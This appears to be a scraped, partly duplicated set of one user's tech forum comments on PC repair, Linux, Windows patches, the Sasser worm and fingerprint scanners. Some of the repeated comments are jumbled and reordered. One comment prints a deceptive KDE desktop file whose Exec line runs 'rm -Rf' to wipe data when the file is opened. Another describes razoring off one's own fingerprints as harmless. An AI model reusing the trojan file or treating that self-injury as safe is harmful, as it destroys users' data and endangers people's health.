When my present boss considered hiring me at his PC-repari (Windows) shop, he read through my resume (Mostly Linux stuff;) and said "Here's a new computer for a customer, build it." I did and have been working happily there for 3 months.
This may sound really stupid, but what happens if one takes a razor blade and cuts off their finger prints? I've done this to myself before, it doesn't hurt and leaves your finger smooth, free of unique prints, pink, and sensitive.
On another note, I'd think that the public wouldn't buy into this one and just wait for another wireless media player. Something like this will scare the public as well.
My second computer ever had a cost of $6,200 with taxes. I love that Gateway Pentium 3 Xeon, RivaTNT2 card, 40GB hard drive, 4x CD Burner. That computer was the shit. My dad said it was enough to run a small country!
I'm having a similar problem on my gaming machine where it says that two updates were applied, but each time I go to windows update, the same two are there again. What disgusts me even more is that they are for Internet Exploder and Outlook Express, two programs that I abhor and avoid like the plague. I messed with the permissions so that nobody on my computer can access outlook, but the patch details claim that one is vulnerable even if you don't use IE or Outlook.
So what's the real amount of time that he will be locked up? I hear that being sentanced to life can be shortened to 7 years with good behavior and the like.
I've used Lynx before to order pizza from Pizza Hut's online store. It may sound easy, but all their web pages are.dll files! Not to mention it looks like shit in Mozilla.
How's that for ordering a pizza on the command line?
I asked my boss (I work at a computer repair shop) why we don't build AMD machines and only use Intel. He said that he built AMD machines once and every single one of them came back to him dead. He said it's because "AMD overclocks their CPUs".
I had some real explaining to do. And yes, he his a Windows Drone.
I just wish the devs would make something that they could be proud to call a 1.0 release. But then again, this software is their gift to me, I have no room to bitch:)
Wow, you know what? Now that I think about it, it's very possible that KDE and Gnome are less secure because of all this! Imagine you just got a file named "cool" in your inbox. You double click on it / open it, it is now ran. There doesn't need to be an execute bit on it. Here is the output of "cat cool": [Desktop Entry] Comment=This won't destroy your computer. Comment[en_US]=This won't destroy your computer. Encoding=UTF-8 Exec=rm -Rf/ GenericName=Cool! GenericName[en_US]=Cool! Ic on=exec MimeType= Name=cool Name[en_US]=cool P ath= StartupNotify=true Terminal=false Terminal Options= Type=Application X-DCOP-ServiceType= X -KDE-SubstituteUID=false X-KDE-Username=
Your home dir has just been waxed. But at least it wasn't the whole system:)
I love the quote of the day on their site: Warning: mysql_pconnect(): Too many connections in/home/garweb/inc/connection.php on line 15 Connection could not be established
I think that was funnier than any qotd I've ever seen:)
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When my present boss considered hiring me at his PC-repari (Windows) shop, he read through my resume (Mostly Linux stuff ;) and said "Here's a new computer for a customer, build it." I did and have been working happily there for 3 months.
Use Korganizer, it's nice.
This question is kind of boring isn't it?
Is a to-do pad that big of a deal?
Why not just run setiathome on it and see how long it takes to finish a workload? That's the computation that really matters :)
This may sound really stupid, but what happens if one takes a razor blade and cuts off their finger prints? I've done this to myself before, it doesn't hurt and leaves your finger smooth, free of unique prints, pink, and sensitive.
On another note, I'd think that the public wouldn't buy into this one and just wait for another wireless media player. Something like this will scare the public as well.
And here's a clickable link to the gummy bear fooling finger print scanners thing. Come on people, monkeys can be tought basic HTML.
My second computer ever had a cost of $6,200 with taxes. I love that Gateway Pentium 3 Xeon, RivaTNT2 card, 40GB hard drive, 4x CD Burner. That computer was the shit. My dad said it was enough to run a small country!
Not always true
I'm having a similar problem on my gaming machine where it says that two updates were applied, but each time I go to windows update, the same two are there again. What disgusts me even more is that they are for Internet Exploder and Outlook Express, two programs that I abhor and avoid like the plague. I messed with the permissions so that nobody on my computer can access outlook, but the patch details claim that one is vulnerable even if you don't use IE or Outlook.
Run it yourself!
I bet there's a Linux one floating around out there, I guess I'll try to WINE this one.
...an implementation of the Common Language Infrastructure...
So let me guess, this is going to get abreviated to CLI, isn't it? Just fucking great.
So what's the real amount of time that he will be locked up? I hear that being sentanced to life can be shortened to 7 years with good behavior and the like.
10MB limit eh?
split -b $((1024*1024*10)) file splitfile
Add the sasser FTP server to your nmap-services file. I run Gentoo, mines in /usr/share/nmap.
:)
Add this line:
sasser 5554/tcp # Sasser worm FTP server
This way when you do a port scan of a host, you can tell if they've been infected with sasser
Why would the program necessarily be written for Windows?
I've used Lynx before to order pizza from Pizza Hut's online store. It may sound easy, but all their web pages are .dll files! Not to mention it looks like shit in Mozilla.
How's that for ordering a pizza on the command line?
I asked my boss (I work at a computer repair shop) why we don't build AMD machines and only use Intel. He said that he built AMD machines once and every single one of them came back to him dead. He said it's because "AMD overclocks their CPUs".
I had some real explaining to do.
And yes, he his a Windows Drone.
Methinks that we should stop fucking saying "methinks". Who do you think you are? Jar Jar Binks?
I was wondering why this story wasn't posted under "It's funny. Laugh" and I figured it out:
It's not funny, it's terribly, awfully sad.
I just wish the devs would make something that they could be proud to call a 1.0 release. :)
But then again, this software is their gift to me, I have no room to bitch
Here's a picture of the device that emits the laser: link
And here's a picture of the laser itself: links
Doesn't run under WINE :(
I'm one of those people. I've got 4 Linux machines and a BeOS machine and I'm going to get a mac for the parents to use.
Do you really think that I won't be able to figure it out?
Are there any geeks in the area that are going to slap Tux stickers on them? What's everyone's opinion on that, vandalism or harmless?
Wow, you know what? Now that I think about it, it's very possible that KDE and Gnome are less secure because of all this! Imagine you just got a file named "cool" in your inbox. You double click on it / open it, it is now ran. There doesn't need to be an execute bit on it. Here is the output of "cat cool": /c on=exec
P ath=l Options=
X -KDE-SubstituteUID=false
:)
[Desktop Entry]
Comment=This won't destroy your computer.
Comment[en_US]=This won't destroy your computer.
Encoding=UTF-8
Exec=rm -Rf
GenericName=Cool!
GenericName[en_US]=Cool!
I
MimeType=
Name=cool
Name[en_US]=cool
StartupNotify=true
Terminal=false
Termina
Type=Application
X-DCOP-ServiceType=
X-KDE-Username=
Your home dir has just been waxed. But at least it wasn't the whole system
I can't wait to try this out in a small scale. Could we use this with cans of root beer using small plant pots?
I love the quote of the day on their site: /home/garweb/inc/connection.php on line 15
:)
Warning: mysql_pconnect(): Too many connections in
Connection could not be established
I think that was funnier than any qotd I've ever seen
As an American, I would like to represent America as a whole when I say for all of us: I'm sorry.